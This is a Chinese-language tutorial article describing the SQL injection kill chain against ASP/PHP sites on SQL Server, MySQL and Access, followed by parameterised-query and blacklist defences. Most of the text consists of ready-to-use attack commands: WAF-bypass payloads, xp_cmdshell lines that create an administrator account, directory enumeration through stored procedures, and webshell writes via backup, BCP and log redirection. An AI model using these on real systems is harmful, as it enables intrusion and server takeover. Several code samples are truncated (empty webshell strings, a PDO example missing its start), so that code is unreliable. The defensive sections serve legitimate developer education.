首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

SQL 注入攻擊完整思路鏈與 ASP/PHP 通用防注入代碼實戰

     編輯:MySQL 資料庫相關知識

前言:構建「從 0 到 1」的注入攻擊知識圖譜

許多初學者知道 SQL 注入「能偷數據」,卻不清晰完整攻擊鏈路。本文系統梳理:**判斷注入點 → 指紋識別數據庫 → 評估 xp_cmdshell 提權 → 尋找 Web 目錄 → 上傳 Webshell → 提權到系統管理員** 的完整殺傷鏈,並給出 ASP/PHP/通用的防注入代碼模式,助力開發者建立「攻防一體」視角。

第一部分:注入攻擊總體思路圖譜


[1] 判斷注入點 (1=1/1=2, 單引號, 類型轉換)
    ↓
[2] 指紋識別數據庫類型
    ├─ Access: MSysObjects 不可讀 / Jet 錯誤特徵
    ├─ SQL Server: sysobjects 可讀 / USER 變量報錯 / @@version
    └─ MySQL: information_schema / @@version / RAND() 報錯
    ↓
[3] 評估高危提權路徑
    ├─ 當前 DB 用戶 = sa / dbo ?
    ├─ xp_cmdshell 可用 ?
    ├─ sp_OACreate / sp_makewebtask 可用 ?
    └─ 是 → 直接執行系統命令、添加用戶、掛馬、備份數據庫 → 完全控制
    ↓ 否
[4] 低權限曲線滲透
    ├─ 4.1 發現 Web 物理路徑
    │   ├─ 經驗猜解: C:/inetpub/wwwroot, D:/wwwroot...
    │   ├─ xp_dirtree / xp_subdirs / xp_cmdshell dir 遍歷
    │   └─ bulk insert 讀取已知文件 (web.config, global.asax...)
    ├─ 4.2 上傳 Webshell
    │   ├─ 利用 Web 後台上傳功能 (需先繞過登錄/獲取憑證)
    │   ├─ 差備份還原: BACKUP DATABASE TO disk='webpath/shell.asp'
    │   ├─ BCP 導出: bcp "SELECT ''" queryout c:\web\shell.php
    │   └─ 日志注入: 設置 general_log_file 為 web 目錄 .php 文件
    └─ 4.3 提權到 SYSTEM/Administrator
        ├─ 內核漏洞利用 (CVE-2021-1732, CVE-2022-21882...)
        ├─ 服務錯誤配置 (無引號服務路徑、啟動參數注入)
        ├─ DLL 劫持 / 計劃任務 / 啟動項
        └─ 讀取 SAM/NTDS.dit 破解離線 Hash

第二部分:注入點判斷的科學方法論

2.1 整型參數

原 SQL:SELECT * FROM news WHERE id=xx
測試序列:

  1. id=49' → 觀察語法錯誤(最簡單但不可靠)
  2. id=49 AND 1=1 → 頁面正常,內容一致
  3. id=49 AND 1=2 → 頁面異常/空白/BOF/EOF
    滿足 ②③ → **存在注入**

反例:代碼用 CInt(id) → 單引號導致類型轉換錯誤,非 SQL 錯誤;AND 1=1 正常,AND 1=2 也正常(WHERE 條件恆假但語法合法)→ **誤判為無注入**。故**單引號測試不可靠,邏輯判斷法為準**。

2.2 字符串型參數

原 SQL:SELECT * FROM news WHERE title='xx'
測試:' AND '1'='1 / ' AND '1'='2,邏輯同整型。

2.3 特殊防禦繞過技巧

防禦繞過思路Payload 示例
過濾小寫 select/union大小寫混淆SeLeCt, UnIoN SeLeCt
過濾關鍵字Unicode/URL 雙重編碼%2553%2545%254C%2545%2543%2554 (SELECT 雙重編碼)
過濾空格利用註釋/括號/換行符/**/, (, %0A, %0D
WAF 規則匹配語義等價變換、編碼、分塊UNI/**/ON SEL/**/ECT, 0x73656c656374 (Hex)

第三部分:數據庫指紋識別詳細邏輯

3.1 SQL Server 高效指紋

AND USER>0 → 報錯「將 nvarchar 值 'dbo' 轉換為 int 失敗」
✅ 確認為 SQL Server
✅ 洩露當前用戶:dbo 即 sa 權限
✅ 同理 AND DB_NAME()>0 洩露當前數據库名

3.2 Access vs SQL Server 區分

PayloadSQL Server 響應Access 響應
;AND (SELECT COUNT(*) FROM sysobjects)>0正常 (sysobjects 可讀)異常/報錯 (無 sysobjects)
;AND (SELECT COUNT(*) FROM MSysObjects)>0異常 (無 MSysObjects)異常 (無權限讀 MSysObjects) 或正常 (罕見配置)

首選第一個 Payload 判斷,第二個作驗證。

第四部分:xp_cmdshell 完全控制路徑 (需 SA)


;EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add'--           # 添加用戶
;EXEC master..xp_cmdshell 'net localgroup administrators hacker /add'-- # 入組管理員
;EXEC master..xp_cmdshell 'copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe'-- # 製造 Unicode 漏洞
BACKUP DATABASE [db] TO DISK='c:\inetpub\wwwroot\db.bak'--             # 備份數據庫下載

前置條件:當前用戶 = sa (dbo)、xp_cmdshell 未被刪除/禁用、Web 目錄可寫且可執行腳本。

第五部分:無 SA 權限時的 Web 目錄發現與 Webshell 上傳

5.1 系統存儲過程遍歷目錄 (無需 xp_cmdshell)


-- 建臨時表
CREATE TABLE ##tmp (id NVARCHAR(255), num1 NVARCHAR(255), num2 NVARCHAR(255), num3 NVARCHAR(255));--

-- 獲取磁盤列表
INSERT INTO ##tmp EXEC master..xp_availablemedia;--

-- 遍歷 C:\ 子目錄
INSERT INTO ##tmp (id) EXEC master..xp_subdirs 'c:\';--

-- 獲取完整目錄樹
INSERT INTO ##tmp (id, num1) EXEC master..xp_dirtree 'c:\';--

-- 讀取文件內容
INSERT INTO ##tmp (id) EXEC master..xp_cmdshell 'type c:\web\config.asp';-- (需 xp_cmdshell)
-- 或
BULK INSERT ##tmp FROM 'c:\inetpub\wwwroot\config.asp';-- (需 BULK ADMIN 權限)

查看結果:AND (SELECT TOP 1 id FROM ##tmp)>0 逐行爆錯讀取。

5.2 Webshell 上傳三大路徑

  1. 利用 Web 後台上傳功能:繞過登錄 (SQL 注入繞過/憑證竊取) → 上傳 .asp/.php/.aspx 腳本 → 菜刀/蟻劍/Godzilla 連接。
  2. 差備份/BCP 導出:
    BACKUP DATABASE [db] TO DISK='c:\web\shell.asp' WITH DIFFERENTIAL, FORMAT, MEDIANAME='x', MEDIADESCRIPTION=''
    或 BCP:
    bcp "SELECT ''" queryout c:\web\shell.php -c -S localhost -U sa -P pwd
  3. 日志注入 (MySQL/PostgreSQL):
    SET GLOBAL general_log=ON; SET GLOBAL general_log_file='c:/web/shell.php'; SELECT '';

第六部分:通用防注入代碼模式 (ASP/PHP/通用)

6.1 ASP 防注入模塊 (引用於全站頂部)


<%
' 方法一:Referer 校驗 (防止跨站提交)
Dim FromURL, ServerURL
FromURL = Request.ServerVariables("HTTP_REFERER")
ServerURL = Request.ServerVariables("SERVER_NAME")
If InStr(1, FromURL, ServerURL, 1) = 0 Then
    Response.Write "非法來源提交,拒絕處理"
    Response.End
End If

' 方法二:參數過濾 (針對 GET/POST/COOKIE)
Dim sql_inj, x, item
sql_inj = "'|--|;|exec|insert|update|delete|drop|create|alter|xp_|sp_|0x|union|select|or|and|having|group by"
For Each x In Split(sql_inj, "|")
    For Each item In Request.QueryString
        If InStr(1, Request.QueryString(item), x, 1) > 0 Then
            Response.Write "檢測到非法 SQL 關鍵字:" & x
            Response.End
        End If
    Next
    For Each item In Request.Form
        If InStr(1, Request.Form(item), x, 1) > 0 Then
            Response.Write "檢測到非法 SQL 關鍵字:" & x
            Response.End
        End If
    Next
Next
%>

警示:黑名單過濾**極易繞過**,僅作緊急臨時防護,**生產環境必須使用參數化查詢**。

6.2 PHP 參數化查詢標準範例 (PDO)


 PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES => false,  // 真正的預處理
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
]);

// 查詢
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? AND status = ?");
$stmt->execute([$_GET['id'], 1]);
$user = $stmt->fetch();

// 寫入
$stmt = $pdo->prepare("INSERT INTO logs (user_id, action, ip) VALUES (?, ?, ?)");
$stmt->execute([$uid, $action, $_SERVER['REMOTE_ADDR']]);
?>

6.3 通用輸入驗證白名單函數


// PHP
function validate_input($input, $type, $max_len = 255) {
    switch ($type) {
        case 'int':    return filter_var($input, FILTER_VALIDATE_INT) !== false;
        case 'email':  return filter_var($input, FILTER_VALIDATE_EMAIL) !== false;
        case 'alpha':  return preg_match('/^[a-zA-Z]{1,' . $max_len . '}$/', $input);
        case 'alnum':  return preg_match('/^[a-zA-Z0-9]{1,' . $max_len . '}$/', $input);
        case 'safe':   return preg_match('/^[a-zA-Z0-9_\-\.@]{1,' . $max_len . '}$/', $input);
        default:       return false;
    }
}

第七部分:纵深防禦清單 (Checklist)

層級措施驗證方式
代碼全站參數化查詢,禁用拼接 SQLSAST 掃描、Code Review
代碼輸入白名單驗證,輸出語境編碼單元測試、DAST
數據庫Web 布號最小權限,禁用高危存儲過程權限審計腳本
數據庫啟用審計日志,敏感表字段加密日志分析、滲透測試
中間件關閉詳細錯誤頁,統一錯誤處理掃描器驗證
網絡WAF (ModSecurity/云 WAF) + 規則集更新攻擊模擬、誤報調優
運維定期滲透測試、漏洞生命周期管理紅藍對抗、應急演練

結語

SQL 注入攻擊鏈條清晰、工具成熟,防禦核心在於**「參數化查詢」這一銀彈**,輔以纵深防禦體系。黑名單過濾、Referer 校驗、關鍵字替換均為「止痛藥」,不可作為根治方案。願開發者寫代碼時常問一句:**「這裡用了參數化查詢嗎?」**

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved